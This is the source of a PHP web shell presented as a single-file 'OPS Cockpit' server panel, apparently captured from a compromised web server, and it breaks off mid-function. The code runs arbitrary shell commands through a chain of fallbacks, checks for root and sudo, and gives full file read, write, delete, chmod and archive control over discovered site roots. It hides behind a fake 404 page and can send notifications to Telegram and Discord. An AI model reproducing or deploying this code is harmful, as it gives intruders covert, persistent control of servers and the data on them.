| Server IP : 198.244.165.102 / Your IP : 216.73.216.218 [ Web Server : nginx/1.24.0 System : Linux modovh-ub-01 6.8.0-138-generic #138-Ubuntu SMP PREEMPT_DYNAMIC Fri Jul 31 22:41:49 UTC 2026 x86_64 User : colleary ( 1011) PHP Version : 8.3.23 Disable Function : NONE Domains : 2 Domains MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : OFF Directory : /var/www/egv/hold3/ |
Upload File : |
<?php
/*
* Certool v1.2.0 — OPS Cockpit (single-file server panel)
* Single-file PHP SPA. PHP 7.4+, Linux/Windows
*/
// ===CERN_CONFIG_START===
define('CERN_USER', 'black');
define('CERN_PASS_HASH', '$2y$10$YyAGpELxfAS9tWPrq69wh.dEqb1t4pAjnx9CSlPeGfd0wETVdcg8q');
define('CERN_SESSION_NAME', 'certool_sid');
define('CERN_IDLE_TIMEOUT', 1800);
define('CERN_LANG_DEFAULT', 'tr');
define('CERN_FAKE_404', true);
define('CERN_IP_WHITELIST', '');
define('CERN_IP_BLACKLIST', '');
define('CERN_EXTRA_ROOTS', '[]');
define('CERN_TELEGRAM_BOT', '');
define('CERN_TELEGRAM_CHAT', '');
define('CERN_DISCORD_WEBHOOK', '');
define('CERN_NOTES', '');
define('CERN_TOTP_SECRET', '');
define('CERN_REPL_ENABLED', false);
define('CERN_VERSION', '1.2.0');
// ===CERN_CONFIG_END===
error_reporting(0);
@ini_set('display_errors', '0');
@ini_set('max_execution_time', '0');
@ini_set('memory_limit', '-1');
@set_time_limit(0);
define('CERN_SELF', __FILE__);
define('CERN_DIR', __DIR__);
define('CERN_TRASH', '.cern_trash');
// ─── Helpers ───────────────────────────────────────────────────────────────
function cern_is_win() { return strtoupper(substr(PHP_OS, 0, 3)) === 'WIN'; }
function cern_sep() { return cern_is_win() ? '\\' : '/'; }
function cern_json_out($data, $code = 200) {
http_response_code($code);
header('Content-Type: application/json; charset=utf-8');
header('Cache-Control: no-store');
$j = @json_encode($data, JSON_UNESCAPED_UNICODE | (defined('JSON_INVALID_UTF8_SUBSTITUTE') ? JSON_INVALID_UTF8_SUBSTITUTE : 0) | JSON_PARTIAL_OUTPUT_ON_ERROR);
if ($j === false || $j === '' || $j === 'null') $j = '{"ok":0,"error":"JSON encode failed"}';
echo $j;
exit;
}
function cern_disabled_funcs() {
static $d = null;
if ($d === null) {
$raw = @ini_get('disable_functions');
$d = $raw ? array_filter(array_map('trim', explode(',', $raw))) : [];
}
return $d;
}
function cern_can_func($fn) {
return function_exists($fn) && !in_array($fn, cern_disabled_funcs(), true);
}
function cern_exec($cmd) {
$dis = cern_disabled_funcs();
if (!in_array('exec', $dis, true) && function_exists('exec')) {
@exec($cmd . ' 2>&1', $lines);
return implode("\n", $lines);
}
if (!in_array('shell_exec', $dis, true) && function_exists('shell_exec')) {
return @shell_exec($cmd . ' 2>&1') ?: '';
}
if (!in_array('system', $dis, true) && function_exists('system')) {
ob_start();
@system($cmd . ' 2>&1');
return ob_get_clean();
}
if (!in_array('proc_open', $dis, true) && function_exists('proc_open')) {
$p = @proc_open($cmd, [0 => ['pipe', 'r'], 1 => ['pipe', 'w'], 2 => ['pipe', 'w']], $pipes);
if (is_resource($p)) {
fclose($pipes[0]);
$o = stream_get_contents($pipes[1]) . stream_get_contents($pipes[2]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($p);
return $o;
}
}
if (!in_array('popen', $dis, true) && function_exists('popen')) {
$h = @popen($cmd . ' 2>&1', 'r');
if ($h) { $o = @stream_get_contents($h); @pclose($h); return $o ?: ''; }
}
return '';
}
function cern_can_exec() {
foreach (['exec', 'shell_exec', 'system', 'passthru', 'proc_open', 'popen'] as $f) {
if (cern_can_func($f)) return true;
}
return false;
}
function cern_home() {
$h = getenv('HOME');
if ($h && is_dir($h)) return $h;
if (!cern_is_win()) {
$u = get_current_user();
if ($u && is_dir('/home/' . $u)) return '/home/' . $u;
}
return cern_is_win() ? (getenv('USERPROFILE') ?: 'C:\\') : '/tmp';
}
function cern_is_root() {
if (function_exists('posix_geteuid')) return posix_geteuid() === 0;
return trim(cern_exec(cern_is_win() ? 'echo %USERNAME%' : 'id -u')) === '0';
}
function cern_fs_err($path, $op = 'access') {
$ob = @ini_get('open_basedir');
if ($ob) {
$parts = array_filter(array_map('trim', explode(PATH_SEPARATOR, $ob)));
$ok = false;
$rp = @realpath($path);
foreach ($parts as $p) {
if ($rp && strpos($rp, rtrim($p, '/\\')) === 0) { $ok = true; break; }
if (strpos($path, rtrim($p, '/\\')) === 0) { $ok = true; break; }
}
if (!$ok) return 'basedir';
}
if (!file_exists($path)) return 'enoent';
if (is_dir($path) && $op === 'list' && !is_readable($path)) return 'eacces';
if (!is_dir($path) && $op === 'list') return 'notdir';
if (!is_readable($path) && in_array($op, ['read', 'list'], true)) return 'eacces';
if (!is_writable($path) && in_array($op, ['write', 'mkdir'], true)) return 'eacces';
return '';
}
// ─── CapabilityProbe ───────────────────────────────────────────────────────
function cern_probe() {
$shell = [];
foreach (['exec', 'shell_exec', 'system', 'passthru', 'proc_open', 'popen'] as $f) {
$shell[$f] = cern_can_func($f);
}
$pdo = [];
foreach (PDO::getAvailableDrivers() as $d) $pdo[] = $d;
$ob = @ini_get('open_basedir');
return [
'php' => PHP_VERSION,
'sapi' => php_sapi_name(),
'os' => PHP_OS,
'shell' => $shell,
'shell_any' => cern_can_exec(),
'zip' => class_exists('ZipArchive'),
'pdo_drivers' => $pdo,
'curl' => function_exists('curl_init'),
'openssl' => extension_loaded('openssl'),
'posix' => function_exists('posix_getpwuid'),
'open_basedir' => $ob ?: null,
'open_basedir_parts' => $ob ? array_values(array_filter(array_map('trim', explode(PATH_SEPARATOR, $ob)))) : [],
'disable_functions' => implode(',', cern_disabled_funcs()),
'is_root' => cern_is_root(),
'home' => cern_home(),
'document_root' => $_SERVER['DOCUMENT_ROOT'] ?? null,
'writable_self' => is_writable(CERN_SELF),
'writable_tmp' => is_writable(sys_get_temp_dir()),
'redis_ext' => class_exists('Redis'),
'memcached_ext' => class_exists('Memcached'),
'opcache' => function_exists('opcache_get_status'),
'memory_limit' => ini_get('memory_limit'),
'upload_max' => ini_get('upload_max_filesize'),
'max_exec' => ini_get('max_execution_time'),
];
}
// ─── PathJail ──────────────────────────────────────────────────────────────
class CernPathJail {
private $roots = [];
private $default = null;
public function discover() {
$seen = [];
$add = function ($p, $label = '') use (&$seen) {
if (!$p) return;
$p = str_replace(['/', '\\'], cern_sep(), $p);
$rp = @realpath($p);
$use = $rp ?: $p;
if (!@is_dir($use) && !@is_file($use)) {
if (!@is_dir(dirname($use))) return;
}
if (!@is_readable($use) && !@is_readable(dirname($use))) return;
$key = strtolower($use);
if (isset($seen[$key])) return;
$seen[$key] = true;
$this->roots[] = [
'path' => $use,
'label' => $label ?: basename($use) ?: $use,
'readable' => @is_readable($use),
'writable' => @is_writable($use),
];
};
$doc = $_SERVER['DOCUMENT_ROOT'] ?? '';
if ($doc) {
$add($doc, 'Site (DOCUMENT_ROOT)');
$cur = $doc;
for ($i = 0; $i < 2; $i++) {
$par = dirname($cur);
if ($par === $cur || $par === '/' || $par === '\\' || preg_match('#^[A-Za-z]:\\\\?$#', $par)) break;
if (@is_readable($par)) $add($par, 'Up: ' . basename($par));
$cur = $par;
}
}
$cwd = @getcwd();
if ($cwd) $add($cwd, 'Current dir');
$add(CERN_DIR, 'Panel dir');
$home = cern_home();
if ($home && $home !== '/var/www' && $home !== '/home') $add($home, 'HOME');
foreach (['public_html', 'htdocs', 'www', 'httpdocs', 'domains', 'logs'] as $sub) {
$add(rtrim($home, '/\\') . cern_sep() . $sub, $sub);
}
$ob = @ini_get('open_basedir');
if ($ob) {
foreach (array_filter(array_map('trim', explode(PATH_SEPARATOR, $ob))) as $part) {
$add($part, 'basedir');
}
}
$extra = json_decode(CERN_EXTRA_ROOTS, true);
if (is_array($extra)) {
foreach ($extra as $e) $add($e, 'bookmark');
}
if (!empty($_SESSION['cern_bookmarks'])) {
foreach ($_SESSION['cern_bookmarks'] as $bm) $add($bm, 'bookmark');
}
// Temp last (never preferred as default)
$add(sys_get_temp_dir(), 'Temp');
if (!cern_is_win()) $add('/tmp', 'Temp /tmp');
$score = function ($r) {
$p = str_replace('\\', '/', $r['path']);
$s = 0;
if (!empty($r['writable'])) $s += 100;
if (stripos($r['label'], 'DOCUMENT_ROOT') !== false || stripos($r['label'], 'Site') === 0) $s += 500;
if (preg_match('#/(public_html|htdocs|httpdocs|www)$#i', $p)) $s += 200;
if (stripos($r['label'], 'Current') !== false) $s += 80;
if (preg_match('#/(tmp|temp)$#i', $p) || stripos($r['label'], 'Temp') === 0) $s -= 400;
if ($p === '/' || $p === '/var' || $p === '/home' || $p === '/opt') $s -= 300;
return $s;
};
usort($this->roots, function ($a, $b) use ($score) {
$sa = $score($a);
$sb = $score($b);
if ($sa !== $sb) return $sb <=> $sa;
return strlen($b['path']) <=> strlen($a['path']);
});
$this->default = null;
$docRp = $doc ? (@realpath($doc) ?: $doc) : '';
if ($docRp && @is_dir($docRp) && @is_readable($docRp)) {
$this->default = $docRp;
}
if (!$this->default) {
foreach ($this->roots as $r) {
if (empty($r['writable']) || !@is_dir($r['path'])) continue;
$p = str_replace('\\', '/', $r['path']);
if (preg_match('#/(tmp|temp)$#i', $p) || stripos($r['label'], 'Temp') === 0) continue;
$this->default = $r['path'];
break;
}
}
if (!$this->default && !empty($this->roots)) $this->default = $this->roots[0]['path'];
return $this->roots;
}
public function get_roots() {
if (empty($this->roots)) $this->discover();
return $this->roots;
}
public function default_path() {
if (!$this->default) $this->discover();
return $this->default ?: cern_home();
}
public function in_jail($path) {
if (empty($this->roots)) $this->discover();
$rp = @realpath($path);
$check = $rp ?: $path;
$check = str_replace(['/', '\\'], cern_sep(), $check);
foreach ($this->roots as $r) {
$root = str_replace(['/', '\\'], cern_sep(), $r['path']);
if ($check === $root || strpos($check, rtrim($root, '/\\') . cern_sep()) === 0) return true;
if (!$rp && strpos($path, $root) === 0) return true;
}
return false;
}
public function resolve($path, $must_exist = true) {
if (empty($this->roots)) $this->discover();
$path = str_replace(['/', '\\'], cern_sep(), $path);
if ($path === '' || $path === '.') $path = $this->default_path();
if (!$this->in_jail($path)) {
throw new Exception('Path outside allowed roots: ' . $path);
}
if ($must_exist) {
$e = cern_fs_err($path, is_dir($path) ? 'list' : 'read');
if ($e === 'enoent') throw new Exception('enoent: ' . $path);
if ($e === 'basedir') throw new Exception('basedir: ' . $path);
if ($e === 'eacces') throw new Exception('eacces: ' . $path);
}
return $path;
}
}
function cern_jail() {
static $j = null;
if ($j === null) $j = new CernPathJail();
return $j;
}
// ─── Config writer ─────────────────────────────────────────────────────────
function cern_write_config(array $vals) {
$src = file_get_contents(CERN_SELF);
if ($src === false) throw new Exception('Cannot read self');
$start = '// ===CERN_CONFIG_START===';
$end = '// ===CERN_CONFIG_END===';
$p0 = strpos($src, $start);
$p1 = strpos($src, $end);
if ($p0 === false || $p1 === false) throw new Exception('Config markers missing');
$block = substr($src, $p0, $p1 - $p0 + strlen($end));
$map = [
'CERN_USER' => isset($vals['user']) ? var_export($vals['user'], true) : null,
'CERN_PASS_HASH' => isset($vals['pass_hash']) ? var_export($vals['pass_hash'], true) : null,
'CERN_LANG_DEFAULT' => isset($vals['lang']) ? var_export($vals['lang'], true) : null,
'CERN_FAKE_404' => isset($vals['fake_404']) ? ($vals['fake_404'] ? 'true' : 'false') : null,
'CERN_IP_WHITELIST' => isset($vals['ip_whitelist']) ? var_export($vals['ip_whitelist'], true) : null,
'CERN_IP_BLACKLIST' => isset($vals['ip_blacklist']) ? var_export($vals['ip_blacklist'], true) : null,
'CERN_EXTRA_ROOTS' => isset($vals['extra_roots']) ? var_export(is_string($vals['extra_roots']) ? $vals['extra_roots'] : json_encode(array_values($vals['extra_roots'])), true) : null,
'CERN_TELEGRAM_BOT' => isset($vals['telegram_bot']) ? var_export($vals['telegram_bot'], true) : null,
'CERN_TELEGRAM_CHAT' => isset($vals['telegram_chat']) ? var_export($vals['telegram_chat'], true) : null,
'CERN_DISCORD_WEBHOOK' => isset($vals['discord_webhook']) ? var_export($vals['discord_webhook'], true) : null,
'CERN_NOTES' => isset($vals['notes']) ? var_export($vals['notes'], true) : null,
'CERN_TOTP_SECRET' => isset($vals['totp_secret']) ? var_export($vals['totp_secret'], true) : null,
'CERN_REPL_ENABLED' => isset($vals['repl_enabled']) ? ($vals['repl_enabled'] ? 'true' : 'false') : null,
];
foreach ($map as $k => $v) {
if ($v === null) continue;
$block = preg_replace("/define\('$k',\s*[^)]+\);/", "define('$k', $v);", $block, 1);
}
$new = substr($src, 0, $p0) . $block . substr($src, $p1 + strlen($end));
if (file_put_contents(CERN_SELF, $new, LOCK_EX) === false) throw new Exception('Cannot write config');
return true;
}
// ─── Auth ──────────────────────────────────────────────────────────────────
session_name(CERN_SESSION_NAME);
@session_start();
function cern_check_ip() {
$ip = $_SERVER['REMOTE_ADDR'] ?? '0.0.0.0';
if (CERN_IP_BLACKLIST) {
$bl = array_map('trim', explode(',', CERN_IP_BLACKLIST));
if (in_array($ip, $bl, true)) return false;
}
if (CERN_IP_WHITELIST) {
$wl = array_map('trim', explode(',', CERN_IP_WHITELIST));
if (!in_array($ip, $wl, true)) return false;
}
return true;
}
function cern_csrf() {
if (empty($_SESSION['cern_csrf'])) $_SESSION['cern_csrf'] = bin2hex(random_bytes(32));
return $_SESSION['cern_csrf'];
}
function cern_verify_csrf($t) {
return isset($_SESSION['cern_csrf']) && is_string($t) && hash_equals($_SESSION['cern_csrf'], $t);
}
function cern_logged_in() {
if (empty($_SESSION['cern_auth'])) return false;
if (time() - ($_SESSION['cern_last'] ?? 0) > CERN_IDLE_TIMEOUT) {
session_destroy();
return false;
}
$_SESSION['cern_last'] = time();
return true;
}
function cern_totp_base32_decode($b32) {
$alphabet = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ234567';
$b32 = strtoupper(preg_replace('/[^A-Z2-7]/', '', $b32));
$bits = '';
for ($i = 0, $l = strlen($b32); $i < $l; $i++) {
$v = strpos($alphabet, $b32[$i]);
if ($v === false) continue;
$bits .= str_pad(decbin($v), 5, '0', STR_PAD_LEFT);
}
$out = '';
for ($i = 0; $i + 8 <= strlen($bits); $i += 8) {
$out .= chr(bindec(substr($bits, $i, 8)));
}
return $out;
}
function cern_totp_generate_secret($len = 16) {
$alphabet = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ234567';
$secret = '';
$bytes = function_exists('random_bytes') ? random_bytes($len) : openssl_random_pseudo_bytes($len);
for ($i = 0; $i < $len; $i++) $secret .= $alphabet[ord($bytes[$i]) & 31];
return $secret;
}
function cern_totp_code($secret, $timeSlice = null) {
$timeSlice = $timeSlice ?? floor(time() / 30);
$key = cern_totp_base32_decode($secret);
if ($key === '') return false;
$time = pack('N*', 0, $timeSlice);
$hash = hash_hmac('sha1', $time, $key, true);
$offset = ord($hash[19]) & 0x0f;
$code = (((ord($hash[$offset]) & 0x7f) << 24) | ((ord($hash[$offset + 1]) & 0xff) << 16) | ((ord($hash[$offset + 2]) & 0xff) << 8) | (ord($hash[$offset + 3]) & 0xff)) % 1000000;
return str_pad((string)$code, 6, '0', STR_PAD_LEFT);
}
function cern_totp_verify($secret, $code, $window = 1) {
if (!preg_match('/^\d{6}$/', $code)) return false;
$ts = floor(time() / 30);
for ($i = -$window; $i <= $window; $i++) {
if (hash_equals(cern_totp_code($secret, $ts + $i), $code)) return true;
}
return false;
}
function cern_auth_status($d) {
return [
'totp_required' => (bool)CERN_TOTP_SECRET,
'version' => CERN_VERSION,
];
}
function cern_login($u, $p, $totp = '') {
if (($_SESSION['cern_attempts'] ?? 0) >= 5 && time() - ($_SESSION['cern_last_attempt'] ?? 0) < 60) {
return ['ok' => false, 'error' => 'Too many attempts. Wait 1 min.'];
}
if ($u === CERN_USER && CERN_PASS_HASH && password_verify($p, CERN_PASS_HASH)) {
if (CERN_TOTP_SECRET) {
if ($totp === '') return ['ok' => false, 'totp_required' => true, 'error' => 'TOTP code required'];
if (!cern_totp_verify(CERN_TOTP_SECRET, $totp)) {
$_SESSION['cern_attempts'] = ($_SESSION['cern_attempts'] ?? 0) + 1;
$_SESSION['cern_last_attempt'] = time();
return ['ok' => false, 'error' => 'Invalid TOTP code'];
}
}
$_SESSION['cern_auth'] = 1;
$_SESSION['cern_last'] = time();
$_SESSION['cern_attempts'] = 0;
$_SESSION['cern_lip'] = $_SERVER['REMOTE_ADDR'] ?? '';
$_SESSION['cern_ltime'] = date('Y-m-d H:i:s');
return ['ok' => true];
}
$_SESSION['cern_attempts'] = ($_SESSION['cern_attempts'] ?? 0) + 1;
$_SESSION['cern_last_attempt'] = time();
usleep(500000);
return ['ok' => false, 'error' => 'Invalid username or password'];
}
if (!cern_check_ip()) {
if (CERN_FAKE_404) {
http_response_code(404);
echo '<!DOCTYPE html><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1></body></html>';
}
exit;
}
if (isset($_GET['logout'])) {
session_destroy();
header('Location: ' . strtok($_SERVER['REQUEST_URI'], '?'));
exit;
}
// ─── File operations ───────────────────────────────────────────────────────
function cern_rdelete($dir) {
if (is_link($dir)) return @unlink($dir);
$items = @scandir($dir);
if ($items) {
foreach ($items as $i) {
if ($i === '.' || $i === '..') continue;
$p = $dir . cern_sep() . $i;
is_dir($p) && !is_link($p) ? cern_rdelete($p) : @unlink($p);
}
}
return @rmdir($dir);
}
function cern_rcopy($s, $d) {
if (!is_dir($d)) @mkdir($d, 0755, true);
$items = @scandir($s);
if (!$items) return;
foreach ($items as $i) {
if ($i === '.' || $i === '..') continue;
$sf = $s . cern_sep() . $i;
$df = $d . cern_sep() . $i;
is_dir($sf) && !is_link($sf) ? cern_rcopy($sf, $df) : @copy($sf, $df);
}
}
function cern_zip_dir($zip, $dir, $pfx) {
$items = @scandir($dir);
if (!$items) return;
foreach ($items as $i) {
if ($i === '.' || $i === '..') continue;
$f = $dir . cern_sep() . $i;
$r = $pfx . '/' . $i;
if (is_dir($f)) { $zip->addEmptyDir($r); cern_zip_dir($zip, $f, $r); }
else $zip->addFile($f, $r);
}
}
function cern_trash_dir($base) {
$t = rtrim($base, '/\\') . cern_sep() . CERN_TRASH;
if (!is_dir($t)) @mkdir($t, 0755, true);
return $t;
}
function cern_files_roots($d) {
$j = cern_jail();
$roots = $j->get_roots();
return ['roots' => $roots, 'default' => $j->default_path(), 'bookmarks' => $_SESSION['cern_bookmarks'] ?? []];
}
function cern_files_list($d) {
$j = cern_jail();
$path = $j->resolve($d['path'] ?? $j->default_path());
if (!is_dir($path)) throw new Exception('notdir: ' . $path);
$e = cern_fs_err($path, 'list');
if ($e) throw new Exception($e . ': ' . $path);
$page = max(1, (int)($d['page'] ?? 1));
$per = min(500, max(50, (int)($d['per_page'] ?? 200)));
$items = @scandir($path);
if ($items === false) throw new Exception('eacces: cannot list ' . $path);
$folders = [];
$files = [];
foreach ($items as $item) {
if ($item === '.' || $item === '..') continue;
$full = rtrim($path, '/\\') . cern_sep() . $item;
$st = @stat($full);
$ent = [
'name' => $item,
'path' => $full,
'size' => $st ? $st['size'] : 0,
'mod' => $st ? date('Y-m-d H:i:s', $st['mtime']) : '',
'perms' => cern_is_win() ? '' : substr(decoct(@fileperms($full)), -4),
'owner' => '',
'is_link' => is_link($full),
'dir' => is_dir($full),
];
if (!cern_is_win() && function_exists('posix_getpwuid')) {
$ow = @posix_getpwuid(@fileowner($full));
$gr = @posix_getgrgid(@filegroup($full));
$ent['owner'] = ($ow['name'] ?? '?') . ':' . ($gr['name'] ?? '?');
}
if ($ent['dir']) $folders[] = $ent;
else $files[] = $ent;
}
usort($folders, function ($a, $b) { return strcasecmp($a['name'], $b['name']); });
usort($files, function ($a, $b) { return strcasecmp($a['name'], $b['name']); });
$all = array_merge($folders, $files);
$total = count($all);
$slice = array_slice($all, ($page - 1) * $per, $per);
return [
'path' => $path,
'items' => $slice,
'total' => $total,
'page' => $page,
'per_page' => $per,
'pages' => max(1, (int)ceil($total / $per)),
'writable' => is_writable($path),
];
}
function cern_files_read($d) {
$j = cern_jail();
$f = $j->resolve($d['path'] ?? '');
if (!is_file($f)) throw new Exception('enoent: ' . $f);
$s = filesize($f);
$max = (int)($d['max'] ?? 10485760);
if ($s > $max) throw new Exception('File too large (max ' . $max . ')');
return ['content' => file_get_contents($f), 'size' => $s, 'path' => $f, 'writable' => is_writable($f)];
}
function cern_files_write($d) {
$j = cern_jail();
$f = $j->resolve($d['path'] ?? '', false);
$c = $d['content'] ?? '';
$dir = dirname($f);
if (!is_dir($dir)) @mkdir($dir, 0755, true);
if (file_put_contents($f, $c) === false) throw new Exception('eacces: write failed');
return ['ok' => 1, 'size' => strlen($c)];
}
function cern_files_delete($d) {
$j = cern_jail();
$paths = isset($d['paths']) ? $d['paths'] : (isset($d['path']) ? [$d['path']] : []);
$use_trash = !empty($d['trash']);
$del = 0;
foreach ($paths as $p) {
$p = $j->resolve($p);
if ($use_trash) {
$tr = cern_trash_dir(dirname($p));
$dest = $tr . cern_sep() . basename($p) . '_' . time();
if (@rename($p, $dest)) { $del++; continue; }
}
if (is_dir($p) && !is_link($p)) { cern_rdelete($p); $del++; }
elseif (is_file($p) || is_link($p)) { @unlink($p); $del++; }
}
return ['ok' => 1, 'deleted' => $del];
}
function cern_files_rename($d) {
$j = cern_jail();
$from = $j->resolve($d['from'] ?? '');
$to = $d['to'] ?? '';
if (!$to) throw new Exception('Missing target');
$to = $j->resolve($to, false);
if (!file_exists($from)) throw new Exception('enoent');
if (file_exists($to)) throw new Exception('Target exists');
if (!@rename($from, $to)) throw new Exception('Rename failed');
return ['ok' => 1];
}
function cern_files_copy($d) {
$j = cern_jail();
$from = $j->resolve($d['from'] ?? '');
$to = $j->resolve($d['to'] ?? '', false);
if (is_dir($from)) cern_rcopy($from, $to);
else {
$dir = dirname($to);
if (!is_dir($dir)) @mkdir($dir, 0755, true);
if (!@copy($from, $to)) throw new Exception('Copy failed');
}
return ['ok' => 1];
}
function cern_files_move($d) {
$j = cern_jail();
$from = $j->resolve($d['from'] ?? '');
$to = $j->resolve($d['to'] ?? '', false);
$dir = dirname($to);
if (!is_dir($dir)) @mkdir($dir, 0755, true);
if (!@rename($from, $to)) throw new Exception('Move failed');
return ['ok' => 1];
}
function cern_files_chmod($d) {
$j = cern_jail();
$p = $j->resolve($d['path'] ?? '');
$m = $d['mode'] ?? '';
if (!$m) throw new Exception('Mode required');
if (cern_is_win()) throw new Exception('chmod not supported on Windows');
if (!@chmod($p, octdec($m))) throw new Exception('chmod failed');
return ['ok' => 1];
}
function cern_files_mkdir($d) {
$j = cern_jail();
$p = $j->resolve($d['path'] ?? '', false);
if (file_exists($p)) throw new Exception('Already exists');
if (!@mkdir($p, 0755, true)) throw new Exception('mkdir failed');
return ['ok' => 1];
}
function cern_files_zip($d) {
if (!class_exists('ZipArchive')) throw new Exception('ZipArchive not available');
$j = cern_jail();
$paths = $d['paths'] ?? [];
$dest = $j->resolve($d['dest'] ?? '', false);
if (empty($paths)) throw new Exception('No paths');
$zip = new ZipArchive();
if ($zip->open($dest, ZipArchive::CREATE | ZipArchive::OVERWRITE) !== true) throw new Exception('Cannot create zip');
foreach ($paths as $p) {
$p = $j->resolve($p);
if (is_file($p)) $zip->addFile($p, basename($p));
elseif (is_dir($p)) cern_zip_dir($zip, $p, basename($p));
}
$zip->close();
return ['ok' => 1, 'size' => filesize($dest), 'path' => $dest];
}
function cern_files_unzip($d) {
if (!class_exists('ZipArchive')) throw new Exception('ZipArchive not available');
$j = cern_jail();
$p = $j->resolve($d['path'] ?? '');
$dest = $j->resolve($d['dest'] ?? dirname($p), false);
if (!is_file($p)) throw new Exception('enoent');
$z = new ZipArchive();
if ($z->open($p) !== true) throw new Exception('Cannot open archive');
$z->extractTo($dest);
$z->close();
return ['ok' => 1, 'dest' => $dest];
}
function cern_files_search($d) {
$j = cern_jail();
$path = $j->resolve($d['path'] ?? $j->default_path());
$q = $d['query'] ?? '';
$type = $d['type'] ?? 'name';
if (!$q) throw new Exception('Query required');
$results = [];
if ($type === 'content' && cern_can_exec()) {
$cmd = cern_is_win()
? 'findstr /s /m /i ' . escapeshellarg($q) . ' ' . escapeshellarg($path . '\\*')
: 'grep -rl ' . escapeshellarg($q) . ' ' . escapeshellarg($path) . ' 2>/dev/null | head -80';
$out = cern_exec($cmd);
$results = array_values(array_filter(array_map('trim', explode("\n", trim($out)))));
} elseif (cern_can_exec()) {
$cmd = cern_is_win()
? 'dir /s /b ' . escapeshellarg($path . '\\*' . $q . '*')
: 'find ' . escapeshellarg($path) . ' -maxdepth 6 -name ' . escapeshellarg('*' . $q . '*') . ' 2>/dev/null | head -80';
$out = cern_exec($cmd);
$results = array_values(array_filter(array_map('trim', explode("\n", trim($out)))));
} else {
$it = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($path, RecursiveDirectoryIterator::SKIP_DOTS), RecursiveIteratorIterator::SELF_FIRST);
$n = 0;
foreach ($it as $fi) {
if ($n >= 80) break;
$nm = $fi->getFilename();
if (stripos($nm, $q) !== false) { $results[] = $fi->getPathname(); $n++; }
}
}
foreach ($results as &$r) {
if (!$j->in_jail($r)) $r = null;
}
$results = array_values(array_filter($results));
return ['results' => $results, 'count' => count($results)];
}
function cern_files_bookmark($d) {
$j = cern_jail();
$p = $j->resolve($d['path'] ?? '');
if (empty($_SESSION['cern_bookmarks'])) $_SESSION['cern_bookmarks'] = [];
if (!in_array($p, $_SESSION['cern_bookmarks'], true)) $_SESSION['cern_bookmarks'][] = $p;
return ['ok' => 1, 'bookmarks' => $_SESSION['cern_bookmarks']];
}
function cern_files_walk($dir, $base = null) {
$base = $base ?? $dir;
$files = [];
if (!is_dir($dir)) return $files;
$it = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($dir, RecursiveDirectoryIterator::SKIP_DOTS));
foreach ($it as $fi) {
if (!$fi->isFile()) continue;
$rel = ltrim(str_replace('\\', '/', substr($fi->getPathname(), strlen(rtrim($base, '/\\')))), '/');
$files[$rel] = ['path' => $fi->getPathname(), 'size' => $fi->getSize(), 'mtime' => $fi->getMTime()];
}
return $files;
}
function cern_files_sync($d) {
$j = cern_jail();
$src = $j->resolve($d['src'] ?? '');
$dst = $j->resolve($d['dst'] ?? '', false);
$mirror = !empty($d['mirror']);
if (!is_dir($src)) throw new Exception('notdir: source');
if (!is_dir($dst)) @mkdir($dst, 0755, true);
if (!is_dir($dst)) throw new Exception('Cannot create destination');
$sf = cern_files_walk($src, $src);
$df = cern_files_walk($dst, $dst);
$only_src = [];
$only_dst = [];
$changed = [];
foreach ($sf as $rel => $info) {
if (!isset($df[$rel])) $only_src[] = $rel;
elseif ($df[$rel]['size'] !== $info['size'] || $df[$rel]['mtime'] !== $info['mtime']) $changed[] = $rel;
}
foreach ($df as $rel => $info) {
if (!isset($sf[$rel])) $only_dst[] = $rel;
}
$copied = 0;
if ($mirror) {
foreach (array_merge($only_src, $changed) as $rel) {
$target = rtrim($dst, '/\\') . cern_sep() . str_replace('/', cern_sep(), $rel);
$td = dirname($target);
if (!is_dir($td)) @mkdir($td, 0755, true);
if (@copy($sf[$rel]['path'], $target)) $copied++;
}
}
return ['only_in_src' => $only_src, 'only_in_dst' => $only_dst, 'changed' => $changed, 'copied' => $copied, 'mirror' => $mirror];
}
function cern_files_tail($d) {
$j = cern_jail();
$path = $j->resolve($d['path'] ?? '');
if (!is_file($path)) throw new Exception('enoent: not a file');
if (!is_readable($path)) throw new Exception('eacces: cannot read');
$lines = max(1, min(500, (int)($d['lines'] ?? 50)));
$offset = (int)($d['offset'] ?? 0);
$size = filesize($path);
$content = '';
$next = $size;
if ($offset > 0 && $offset < $size) {
$f = fopen($path, 'rb');
fseek($f, $offset);
$content = stream_get_contents($f);
fclose($f);
$next = $size;
} else {
$all = file($path, FILE_IGNORE_NEW_LINES);
if ($all === false) throw new Exception('Cannot read file');
$slice = array_slice($all, -$lines);
$content = implode("\n", $slice);
$next = $size;
}
return ['content' => $content, 'next_offset' => $next, 'size' => $size, 'path' => $path];
}
function cern_files_hash($d) {
$j = cern_jail();
$path = $j->resolve($d['path'] ?? '');
if (!is_file($path)) throw new Exception('enoent: not a file');
$algo = strtolower($d['algo'] ?? 'sha256');
if (!in_array($algo, ['md5', 'sha1', 'sha256'], true)) throw new Exception('Unsupported algo: md5, sha1, sha256');
if (!is_readable($path)) throw new Exception('eacces');
return ['path' => $path, 'algo' => $algo, 'hash' => hash_file($algo, $path), 'size' => filesize($path)];
}
function cern_integrity_path($base) {
return rtrim($base, '/\\') . cern_sep() . '.cern_integrity.json';
}
function cern_files_integrity_save($d) {
$j = cern_jail();
$base = $j->resolve($d['path'] ?? '');
if (!is_dir($base)) throw new Exception('notdir');
$max = min(5000, (int)($d['max_files'] ?? 2000));
$baseline = [];
$n = 0;
foreach (cern_files_walk($base, $base) as $rel => $info) {
if (++$n > $max) break;
$baseline[$rel] = hash_file('sha256', $info['path']);
}
$store = ['saved' => date('c'), 'count' => count($baseline), 'files' => $baseline];
$ipath = cern_integrity_path($base);
$stored = 'session';
if (is_writable($base)) {
file_put_contents($ipath, json_encode($store, JSON_PRETTY_PRINT));
$stored = 'file';
} else {
if (!isset($_SESSION['cern_integrity'])) $_SESSION['cern_integrity'] = [];
$_SESSION['cern_integrity'][$base] = $store;
}
return ['ok' => 1, 'stored' => $stored, 'count' => count($baseline), 'path' => $base];
}
function cern_files_integrity_check($d) {
$j = cern_jail();
$base = $j->resolve($d['path'] ?? '');
if (!is_dir($base)) throw new Exception('notdir');
$ipath = cern_integrity_path($base);
$store = null;
if (is_file($ipath)) $store = json_decode(file_get_contents($ipath), true);
